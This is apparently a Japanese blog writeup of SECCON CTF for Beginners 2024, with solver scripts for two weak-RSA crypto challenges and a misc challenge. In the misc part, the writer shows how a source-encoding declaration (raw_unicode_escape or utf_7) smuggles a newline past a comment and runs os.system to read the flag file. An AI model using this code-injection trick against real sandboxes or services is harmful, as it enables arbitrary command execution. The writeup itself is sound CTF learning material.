😺

SECCON CTF for BEGINNERS 2024 writeup

2024/06/17に公開

CTF

crypto

idea

今年も CTF4B に参加した。普段は競プロばかりしているので、Cryptoの2完で終わってしまった。

Safe Prime [362 solved]

Using a safe prime makes RSA secure, doesn't it?

import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

$p,q$ の関係がわかっているので、とりあえず z3 にかけてみたらうまく計算できた。二分探索を行うのが正規解法っぽい。

from Crypto.Util.number import *
from z3 import *

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
e = 65537
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861


p = Int("p")
q = Int("q")


solver = Solver()

solver.add(p < q, p > 0, q > 0, p*q == n, q == 2*p+1)

assert solver.check() == z3.sat

p = solver.model()[p].as_long()
q = solver.model()[q].as_long()

phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

m = pow(c, d, n)

print(long_to_bytes(m))

ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

math [119 solved]

RSA暗号に用いられる変数に特徴的な条件があるようですね...?

chal.py

from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0

output.txt

n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

$a \times b$ が何かしらのヒントを握っているのに違いない。 $a, b$ が平方数であること・すでに $1$ つずつの素因数がわかっていることを利用して、完全に素因数分解できないか試してみた。すると、

$ab = 3^2 \times 173^2 \times 199^2 \times 306606827773^2 \times (省略)^2 \times (省略)^2$

であり、該当する $a, b$ は $16$ 通りに絞られる。

$x$ がわかれば $p, q$ も計算できるが、このパートは $(a+x)(b+x) = n$ であることを利用して二分探索した。

solve.py

n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

_facs = [3, 173, 199, 306606827773]

facs = []
for x in _facs:
    facs.append(x*x)

sub_a = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
sub_a *= sub_a
sub_b = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
sub_b *= sub_b
from Crypto.Util.number import *
import gmpy2

for S in range(1 << 4):
    A = sub_a
    B = sub_b
    for i in range(4):
        if S >> i & 1:
            A *= facs[i]
        else:
            B *= facs[i]

    ng = 0
    ok = (1 << 1024)

    while ok - ng > 1:
        mid = (ng+ok) // 2
        if (A+mid)*(B+mid) >= n:
            ok = mid
        else:
            ng = mid

    P = A + ok
    Q = B + ok

    if P*Q != n:
        continue

    phi = (P - 1) * (Q - 1)

    d = pow(e, -1, phi)

    m = pow(cipher, d, n)

    print(long_to_bytes(m))

ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}

upsolve した問題

misc/commentator [75 solved]

コメントには注意しなきゃ！

どうにか改行した状態で、自由なプログラムを記述できるようにする
f文字列周りに脆弱性がある

みたいな仮説を立ててチームで取り組んでいました。僕は後者。

制御文字で # を上書きしたらワンチャンあるかなと信じたのですが、そんなことはありませんでした。

記念に供養しておきます。

echo -e '\e[2Dwith open('flag.txt', 'r') as f: print(f.readline())\n__EOF__' | python test.py

Dockerを見ると、flag.txtは RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt と改変されており、素直にこの路線では解くことができなかったかもしれない。

どうやらpythonは # coding: utf_8 みたいな形でエンコードを指定できるようで、 # coding: raw_unicode_escape とすることで、エスケープ文字を有効にすることができるみたいだ。

参考

Enter your Python code (ends with __EOF__)
>>> coding: raw_unicode_escape
>>> \u000aimport os
>>> \u000aos.system("cat /flag-*.txt")
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :)

参考

Enter your Python code (ends with __EOF__)
>>> coding: utf_7
>>> +AAo-import os
>>> +AAo-os.system("cat /flag-*.txt")
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :)

upsolveしたい問題

ARES [14 solved]

いい加減RSA問以外も解けるようにしておきたい（これもRSAを使っているという意味ではRSA問なのかもしれないけど）

もっとCTFの勉強をしたいが、チームにCryptoやってる人がおらず、なかなか刺激がないためにずっとやれてないでいるのはいろんな意味で反省点かな。